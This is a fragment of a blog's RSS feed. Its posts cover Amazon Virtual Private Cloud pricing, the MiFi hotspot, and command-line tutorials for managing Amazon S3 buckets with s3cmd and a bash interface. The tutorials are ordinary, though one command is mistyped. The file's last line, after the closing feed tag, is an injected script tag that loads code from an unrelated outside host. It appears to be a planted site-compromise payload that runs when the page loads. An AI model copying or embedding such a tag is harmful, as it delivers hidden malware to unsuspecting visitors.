<li><a href="http://krypted.com/mac-os-x-server/mac-os-x-server-105-introduction-to-radius/" rel="bookmark" title="October 30, 2007">Mac OS X Server 10.5: Introduction to RADIUS</a></li>
<li><a href="http://krypted.com/mac-os-x-server/mac-os-x-server-105-advanced-mode/" rel="bookmark" title="November 16, 2007">Mac OS X Server 10.5: Advanced Mode</a></li>
</ul>
<p><!-- Similar Posts took 9.928 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x-server/adding-dhcp-options-in-mac-os-x-server/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Virtual Private Clouds</title>
		<link>http://krypted.com/network-infrastructure/virtual-private-clouds/</link>
		<comments>http://krypted.com/network-infrastructure/virtual-private-clouds/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 16:07:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network Infrastructure]]></category>
		<category><![CDATA[Unix]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[sites]]></category>
		<category><![CDATA[amazon]]></category>
		<category><![CDATA[cissp]]></category>
		<category><![CDATA[private cloud]]></category>
		<category><![CDATA[risk management]]></category>
		<category><![CDATA[vpn]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=4605</guid>
		<description><![CDATA[VPN-Cubed was a solution that Amazon listed for some time, allowing users of EC2 or S3 cloud services to VPN their resources in Amazon&#8217;s cloud to their own offices.  But Amazon recently went a step further with their own offering and now provide the Amazon Virtual Private Cloud.  Pricing is based on a [...]]]></description>
			<content:encoded><![CDATA[<p>VPN-Cubed was a solution that Amazon listed for some time, allowing users of EC2 or S3 cloud services to VPN their resources in Amazon&#8217;s cloud to their own offices.  But Amazon recently went a step further with their own offering and now provide the <a href="http://aws.amazon.com/vpc/">Amazon Virtual Private Cloud</a>.  Pricing is based on a per-VPN connection, running at a nickel per hour that the VPN Connection is alive.  Data transfer over the VPN is charged at a dime per gig into the cloud and between 10 and 17 cents per gig out of the cloud.</p>
<p>There have been a number of concerns about security with regards to cloud services.  The ability to build a dynamic tunnel between your AWS assets and your organization is now here.  It&#8217;s interesting to see the price of security so simply laid out like that.  Now how to factor risk versus just using otherwise encrypted protocols to communicate back to the office? Calculating risk with regards to data security is a pretty complicated task to those of us without CISSP+RMPhD (CISSPs and PhDs in Risk Management)&#8230;<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/business/a-saturated-cloud-backup-market/" rel="bookmark" title="December 9, 2008">A Saturated Cloud Backup Market</a></li>
<li><a href="http://krypted.com/business/meet-the-press/" rel="bookmark" title="February 20, 2010">Meet the Press</a></li>
<li><a href="http://krypted.com/articles-and-books/amazon-authorcentral/" rel="bookmark" title="January 14, 2010">Amazon AuthorCentral</a></li>
<li><a href="http://krypted.com/final-cut-server/final-cut-server-using-amazon-s3-for-archival/" rel="bookmark" title="November 14, 2008">Final Cut Server: Using Amazon S3 for Archival</a></li>
<li><a href="http://krypted.com/articles-and-books/updated-amazon-author-page/" rel="bookmark" title="January 22, 2010">Updated Amazon Author Page</a></li>
</ul>
<p><!-- Similar Posts took 7.344 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/network-infrastructure/virtual-private-clouds/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MiFi</title>
		<link>http://krypted.com/network-infrastructure/mifi/</link>
		<comments>http://krypted.com/network-infrastructure/mifi/#comments</comments>
		<pubDate>Sat, 15 Aug 2009 18:35:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network Infrastructure]]></category>
		<category><![CDATA[GPS]]></category>
		<category><![CDATA[mifi]]></category>
		<category><![CDATA[mobile hotspot]]></category>
		<category><![CDATA[Novatel]]></category>
		<category><![CDATA[Sprint]]></category>
		<category><![CDATA[Verizon]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=4475</guid>
		<description><![CDATA[MiFi, a product from Novatel Wireless, is a credit card sized device that provides a 7 Megabit connection to the internet as a portable wireless hotspot.  It&#8217;s GPS-enabled and it can serve up to 5 devices using WiFi.  Nice little device overall.  In my testing it was about twice as fast as [...]]]></description>
			<content:encoded><![CDATA[<p>MiFi, a product from <a href="http://www.novatelwireless.com">Novatel</a> Wireless, is a credit card sized device that provides a 7 Megabit connection to the internet as a portable wireless hotspot.  It&#8217;s GPS-enabled and it can serve up to 5 devices using WiFi.  Nice little device overall.  In my testing it was about twice as fast as my <a href="http://krypted.com/mac-os-x/on-the-road-sprint-smartview/">Sprint USB card</a>.</p>
<p><img class="aligncenter" title="MiFi" src="http://www.novatelwireless.com/images/stories/products/mifi/MiFi2200_NVTL_02_sm.png" alt="" width="187" height="101" /><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/active-directory/snow-leopard-skyhook-kerb-problems/" rel="bookmark" title="September 1, 2009">Snow Leopard + SkyHook = Kerb Problems?</a></li>
<li><a href="http://krypted.com/business/wimax-enabled-laptops/" rel="bookmark" title="December 5, 2008">WiMax Enabled Laptops</a></li>
<li><a href="http://krypted.com/mac-os-x/on-the-road-sprint-smartview/" rel="bookmark" title="May 6, 2009">On the Road: Sprint SmartView</a></li>
</ul>
<p><!-- Similar Posts took 5.576 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/network-infrastructure/mifi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>S3 Command Line Part II</title>
		<link>http://krypted.com/consulting/s3-command-line-part-ii/</link>
		<comments>http://krypted.com/consulting/s3-command-line-part-ii/#comments</comments>
		<pubDate>Thu, 21 May 2009 05:00:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Consulting]]></category>
		<category><![CDATA[Network Infrastructure]]></category>
		<category><![CDATA[Unix]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[sites]]></category>
		<category><![CDATA[bucket]]></category>
		<category><![CDATA[Command line]]></category>
		<category><![CDATA[EC2]]></category>
		<category><![CDATA[put]]></category>
		<category><![CDATA[rm]]></category>
		<category><![CDATA[rmrf]]></category>
		<category><![CDATA[s3]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=3783</guid>
		<description><![CDATA[Earlier we looked at using s3cmd to interact with the Amazon S3 storage cloud. Â Now we&#8217;re going to delve into using Another S3 Bash Interface. Â To get started, first download the scripts and then copy the hmac and s3 commands into the ec2 folder created in previous walkthroughs.
To use theÂ s3 script, you need to store [...]]]></description>
			<content:encoded><![CDATA[<p>Earlier we looked at using s3cmd to interact with the Amazon S3 storage cloud. Â Now we&#8217;re going to delve into using Another S3 Bash Interface. Â To get started, first <a href="http://git.fnordovax.org/another-s3-bash/">download the script</a>s and then copy the hmac and s3 commands into the ec2 folder created in previous walkthroughs.</p>
<p>To use theÂ <code>s3</code> script, you need to store your Amazon secret key in a text file and set two environment variables. The INSTALL file included with the package has all the details. The only tricky part I ran into, and from the comments on Amazon, other people ran into, is how to create the secret key text file.  Now go into your environment variables in ~/.bash_profile and add S3_ACCESS_KEY_ID (your S3 access key id) from the S3 site on Amazon Web Service and S3_SECRET_ACCESS_KEY (the name of the file with your S3 secret key).  If the file that stores this key is called ~/SUPERSECRET then to create it, copy the key to your clipboard from the AWS site and then run echo -n and send the contents of the pasted line to a file:</p>
<blockquote><p>echo -n MYPASTEDKEY &gt; ~/SUPERSECRET</p></blockquote>
<p>The -n switch tells echo to not include a new line character and results in a text file of exactly 40 bytes. Once I got the key file created correctly, theÂ <code>s3</code> script started working, and I was able to upload, download, and list objects in S3.</p>
<p>Next, we&#8217;ll list your buckets:</p>
<blockquote><p>s3 buckets</p></blockquote>
<p>Then we&#8217;ll list the contents of a bucket called images:</p>
<blockquote><p>s3 list images</p></blockquote>
<p>Next, we&#8217;ll upload a file called emerald.png from the desktop of our computer:</p>
<blockquote><p>s3 put images emerald.png ~/Desktop/emerald.png</p></blockquote>
<p>Now let&#8217;s try and get the same file and just leave it somewhere else so we can compare the two:</p>
<blockquote><p>s3 get images emerald.png ~/Documents/emerald.png</p></blockquote>
<p>Now let&#8217;s get rid of the file:</p>
<blockquote><p>s3 Â rm images emerald.png</p></blockquote>
<p>And then to just remove all the files from the bucket:</p>
<blockquote><p>rmrf images</p></blockquote>
<p>If you notice, this toolkit is very similar to the s3cmd kit that we looked at earlier. Â It&#8217;s a little more limited, but I thought it might come with less of a learning curve or be easier to script against depending on what you need.<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/mail-attachments-from-the-command-line/" rel="bookmark" title="June 18, 2009">Mail Attachments from the Command Line</a></li>
<li><a href="http://krypted.com/business/deploy-ec2-en-masse/" rel="bookmark" title="May 4, 2009">Deploy EC2 En Masse</a></li>
<li><a href="http://krypted.com/consulting/custom-vms-using-s3ec2/" rel="bookmark" title="May 20, 2009">Custom VMs using S3+EC2</a></li>
<li><a href="http://krypted.com/filemaker/scripting-productions-and-assets-in-final-cut-server/" rel="bookmark" title="June 5, 2010">Scripting Productions and Assets in Final Cut Server</a></li>
<li><a href="http://krypted.com/mac-os-x/shell-to-clipboard-back-again/" rel="bookmark" title="January 15, 2010">Shell to Clipboard &#038; Back Again</a></li>
</ul>
<p><!-- Similar Posts took 5.523 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/consulting/s3-command-line-part-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Amazon S3 from the Command Line</title>
		<link>http://krypted.com/business/amazon-s3-from-the-command-line/</link>
		<comments>http://krypted.com/business/amazon-s3-from-the-command-line/#comments</comments>
		<pubDate>Wed, 20 May 2009 17:00:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Consulting]]></category>
		<category><![CDATA[Network Infrastructure]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Unix]]></category>
		<category><![CDATA[sites]]></category>
		<category><![CDATA[Amazon s3 command line]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=3782</guid>
		<description><![CDATA[In a previous article we looked at how to upload Final Cut Server content to s3 using Jungle Disk. Â We also looked at how to upload ec2 images to s3.  But now we&#8217;re going to take a deeper dive into using s3 from the command line.
There are a number of tools that have been [...]]]></description>
			<content:encoded><![CDATA[<p>In a previous article we looked at how to <a href="http://krypted.com/final-cut-server/final-cut-server-using-amazon-s3-for-archival/">upload Final Cut Server content to s3 using Jungle Disk</a>. Â We also looked at how to<a href="http://krypted.com/unix/custom-vms-using-s3ec2/"> upload ec2 images to s3</a>.  But now we&#8217;re going to take a deeper dive into using s3 from the command line.</p>
<p>There are a number of tools that have been developed by the community to leverage Amazon&#8217;s S3 Storage Service. Â This isn&#8217;t as cut and dry as using ec2 due to the fact that the Amazon tools are written inÂ <a class="ulink" href="http://developer.amazonwebservices.com/connect/entry.jspa?externalID=132&amp;categoryID=47" target="_blank">Java</a>,Â <a class="ulink" href="http://developer.amazonwebservices.com/connect/entry.jspa?externalID=130&amp;categoryID=47" target="_blank">C#</a>,Â <a class="ulink" href="http://developer.amazonwebservices.com/connect/entry.jspa?externalID=133&amp;categoryID=47" target="_blank">Perl</a>,Â <a class="ulink" href="http://developer.amazonwebservices.com/connect/entry.jspa?externalID=126&amp;categoryID=47" target="_blank">PHP</a>,Â <a class="ulink" href="http://developer.amazonwebservices.com/connect/entry.jspa?externalID=135&amp;categoryID=47" target="_blank">Ruby</a> andÂ <a class="ulink" href="http://developer.amazonwebservices.com/connect/entry.jspa?externalID=134&amp;categoryID=47" target="_blank">Python</a>. Â However, I&#8217;m a shell kinda&#8217; guy to a large degree and I was able to find a couple of places where people have written shell wrappers for the tools made available by Amazon. The first is called <a href="http://s3tools.org/s3cmd">s3cmd</a>, which we will cover in this articleÂ and the second is calledÂ <a href="http://developer.amazonwebservices.com/connect/entry.jspa?externalID=1081&amp;categoryID=47">Another S3 Bash Interface</a>, which we will cover in a future article. Â The following assumes that you have already setup an account with Amazon Web Services (AWS). Â As for terms, bucket is the big one: think of a bucket like a logical partition of your s3 account, similar to a volume (I say as I duck so that when someone throws something at me for oversimplifying they hopefully miss).</p>
<p>s3cmd is pretty straight forward to use.  Download it from the developer&#8217;s site (linked to from above) and then run through the setup wizard using the following:<br />
s3cmd &#8211;configure</p>
<p>For most future commands, you&#8217;ll notice that there will be a path that shows s3:// as part of the URL/URI; this is because s3cmd uses the s3:// to reference the root of your s3 account. Â Now that you&#8217;ve configured s3cmd let&#8217;s go ahead and make a new bucket called server01_backup, which can be done using the mb verb:</p>
<blockquote><p>s3cmd mb s3://server01_backup</p></blockquote>
<p>Now that we have a bucket, use the ls verb of the s3cmd to list your available buckets:</p>
<blockquote><p>s3cmd ls</p></blockquote>
<p>Once you&#8217;ve verified that you have a bucket, let&#8217;s look at the contents of the bucket:</p>
<blockquote><p>s3cmd ls s3://server01_backup</p></blockquote>
<p>Now let&#8217;s copy a file into a bucket, which we&#8217;ll do using the put verb followed by the source and then the path:</p>
<blockquote><p>s3cmd put /Volumes/Backup/backup.tar s3://server01_backup/backup.tar</p></blockquote>
<p>Now let&#8217;s go ahead and create another bucket for web images called images:</p>
<blockquote><p>servercmd mb s3://images</p></blockquote>
<p>Once we have a bucket for our web images, let&#8217;s upload a file to it:</p>
<blockquote><p>s3cmd put &#8211;acl-public &#8211;guess-mime-type ~/Desktop/emerald.png s3://images/emerald.png</p></blockquote>
<p>Because we used the &#8211;acl-public flag with the put verb the file is now available by anyone in read only form. Â The output of the command will have a line that indicates the URL that can then be used to access the file later, as can be seen here:</p>
<blockquote><p>Public URL of the object is: http://images.s3.amazonaws.com/emerald.png</p></blockquote>
<p>You can now call on the file as you would any other file, using the path. Â If you saw the previous article on leveraging s3 with Final Cut Server then you&#8217;ll likely be interested in the fact that this can be automated through the scripts option of Final Cut Server.</p>
<p>Next, let&#8217;s say that you wanted to copy a nested directories contents into your images bucket, you&#8217;d use the the put verb with the &#8211;recursive option, then list the source and finally the target:</p>
<blockquote><p>s3cmd put &#8211;recursive images s3://images/</p></blockquote>
<p>Let&#8217;s say that we&#8217;re now done with our images bucket and ready to delete it. Â This can be done using the rb verb with s3cmd, which standards for &#8220;remove bucket.&#8221;</p>
<blockquote><p>s3cmd rb s3://images</p></blockquote>
<p>s3cmd also has an option to synchronize, making it a pretty darn nice offsite replication solution. Â Let&#8217;s say you&#8217;re keeping a website on your local drive and want to sync it to Amazon nightly, just add the following to a cron job:</p>
<blockquote><p>s3cmd sync Â ./ Â s3://DocumentRoot/</p></blockquote>
<p>If you&#8217;re going to use sync with a fairly well built out directory structure, also consider using the &#8211;dry-run flag for a little sanity checking before you go synchronizing a lot of data. Â You can also use the -include and -exclude flags to limit what s3cmd will synchronize.<strong>Similar Articles:</strong>
<ul class="similar-posts">None Found
</ul>
<p><!-- Similar Posts took 3.666 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/business/amazon-s3-from-the-command-line/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>